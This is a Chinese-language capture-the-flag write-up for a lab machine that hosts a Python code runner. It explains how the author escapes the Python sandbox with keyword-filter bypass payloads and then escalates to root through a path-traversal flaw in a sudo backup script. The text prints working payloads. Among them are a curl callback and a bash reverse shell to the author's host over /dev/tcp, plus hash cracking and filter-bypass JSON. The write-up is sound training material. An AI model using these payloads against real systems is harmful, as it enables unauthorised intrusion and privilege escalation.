前言
这台靶机已经有大佬写过Write Up了,这里主要介绍一下我的不同思路,以供大家参考。
信息收集
Nmap
bash
nmap -A 10.10.11.62

发现开放了5000端口,看样子应该是一个HTTP服务。
获得立足点
访问10.10.11.62:8000。
发现是一个在线执行Python代码的平台。

发现有注册功能。

先注册一个账号,登录上去看看。
结果和未登录状态差不多。
发现一个可以保存代码的功能,但是测试了一下也没有发现任何可以利用的点。
发现加载保存代码的id似乎是顺序增加的,尝试越权,并没有获得任何有用的信息。
查看帮助信息,但是并没有发现任何使用框架的信息。
查看HTTP报文,看到代码是在服务端执行的,想到可以执行恶意代码获取shell。

不出所料,果然是有关键字过滤的。
绕它!
首先,可以参考这篇文章的第5节(整篇文章都很优秀,强烈建议全篇阅读!),使用getattr
函数绕过对诸如system
、exec
等函数的关键词过滤。
并且,测试发现getattr
关键字并没有被过滤。

然而解决了一个问题,又遇到一个新的问题。靶机不仅过滤了敏感函数,还过滤了import
关键字。没有import
就没办法使用getattr
函数绕过了,吗?
其实也未必。我们可以参考这个文章里面的思路,使用__globals__
属性加载需要的函数而不用显式导入,这样就绕过了对import
关键字的过滤。不过文中给出的payload只能用于Python 2环境。
实际上,我们可以参考这篇文章。文章虽然主要是讲Flask jinja2模板注入,但是对如何在Python 3中使用__globals__
属性加载需要的函数作了详细的说明。
参考文章中的思路,制作Payload。注意,这里的受到文章中的思路启发,发现并不需要使用getattr
函数,而是利用Python脚本语言的特点,即在对象后添加括号就可将对象作为函数执行。另外,使用字符串拼接的方式绕过关键词过滤。
至于"_Unframer"的选择,可以使用这篇文章中的一个筛选脚本。在本地筛选出可以执行exec
等函数的子类,然后在靶机执行print([].__class__.__base__.__subclasses__())
,两者结果对比即可选择合适的子类。
python
for c in [].__class__.__base__.__subclasses__():
if c.__name__=='_Unframer':
print(c.__init__.__globals__['__bui'+'ltins__'].get('ex'+'ec')("__imp"+"ort__('o'+'s').sy"+"stem('ls')"))
执行Payload,返回结果是None。难道没有执行成功?又去检查了一波Payload,在本地复现了一下,发现确实是可以执行的。
这时候突然想到,可能是因为没有回显。
既然想到了原因,修改一下Payload。借鉴DNS信息外带的思路,设立一个可以远程访问的端点即可。
python
for c in [].__class__.__base__.__subclasses__():
if c.__name__=='_ModuleLock':
print(c.__init__.__globals__['__bui'+'ltins__'].get('ex'+'ec')("__imp"+"ort__('o'+'s').sy"+"stem('curl http://10.10.16.28:8000')"))
先在本地启动一个web服务。
bash
python3 -m http.server 8000
执行修改后的Payload。

可以看到,有访问请求被记录到,说明Payload被成功执行。
再次修改Payload。
python
for c in [].__class__.__base__.__subclasses__():
if c.__name__=='_ModuleLock':
print(c.__init__.__globals__['__bui'+'ltins__'].get('ex'+'ec')("__imp"+"ort__('o'+'s').sy"+"stem('bash -c \"bash -i >& /dev/tcp/10.10.16.28/2333 0>&1\"')"))
先在本地启动nc监听。
bash
nc -lvvp 2333
执行修改后的Payload。

可以看到,已经成功获得了shell。
发现User Flag。

查看User Flag。

提权
root
先看一下在当前权限下有没有敏感的文件。
发现了一个sqlite的数据库文件。

下载下来,用sqlitebrowser打开。(下载方法可以看这篇)

发现用户martin密码的哈希值。
用hashcat解哈希。
bash
hashcat -a 0 -m 0 3de6************************74be rockyou.txt
解出密码。
使用密码登录用户martin。

尝试其他提权方式无果,不再赘述。
查看可以使用sudo
执行的命令。
bash
sudo -l

用户可以使用sudo权限执行backy.sh这个脚本。
看下脚本的权限配置。

可以看到,非属主用户不能修改脚本,因此不能直接添加获得shell的命令。
看下脚本的内容。其中代码限制了备份的路径只能在/var或/home目录下。
shell
# 省略一万字
allowed_paths=("/var/" "/home/")
updated_json=$(/usr/bin/jq '.directories_to_archive |= map(gsub("\\.\\./"; ""))' "$json_file")
# 省略一万字
但是这个过滤只是单纯替换"../"为空字符,只需要简单的双写即可绕过。
刚好在backups目录下发现了task.json,修改一下,看看是否能绕过目录的限制,备份出root目录下的内容。
json
{
"destination": "/home/martin/backups/",
"multiprocessing": true,
"verbose_log": false,
"directories_to_archive": [
"/home/app-production/....//....//....//root"
],
"exclude": [
".*"
]
}
执行脚本。
bash
sudo /usr/bin/backy.sh backups/task.json
发现备份出来的内容居然是空的!
难道我的绕过方式不对?
尝试用软连接的方式绕过路径限制,结果并不行。
只能又回到双写绕过的方式。
仔细研究task.json,发现其中有一个键名为"exclude"的字段很可疑。它的值是".*",如果是按照正则去匹配的话,应该会匹配所有文件名。备份的内容不包括所有文件,那备份出来的内容不就是空了吗?
这个结论似乎能解释之前的现象。
把task.json的内容改一下,去除".*"的匹配模式。
json
{
"destination": "/home/martin/backups/",
"multiprocessing": true,
"verbose_log": false,
"directories_to_archive": [
"/home/app-production/....//....//....//root"
],
"exclude": []
}
执行脚本,备份文件。

把备份的文件下载到本地解压。

成功拿到root目录下的内容。
其实到这就已经可以拿到Root Flag了,但是鉴于作者很好心的给了id_rsa文件,决定登上去拿个shell。
bash
ssh -i id_rsa root@10.10.11.62

查看Root Flag。

后记
这个靶机主要难点在于如何绕过关键字限制并做到Python沙箱逃逸,在这个过程中学到了很多相关的知识。提权方面相对简单,只需要注意一些细节就可以提权成功。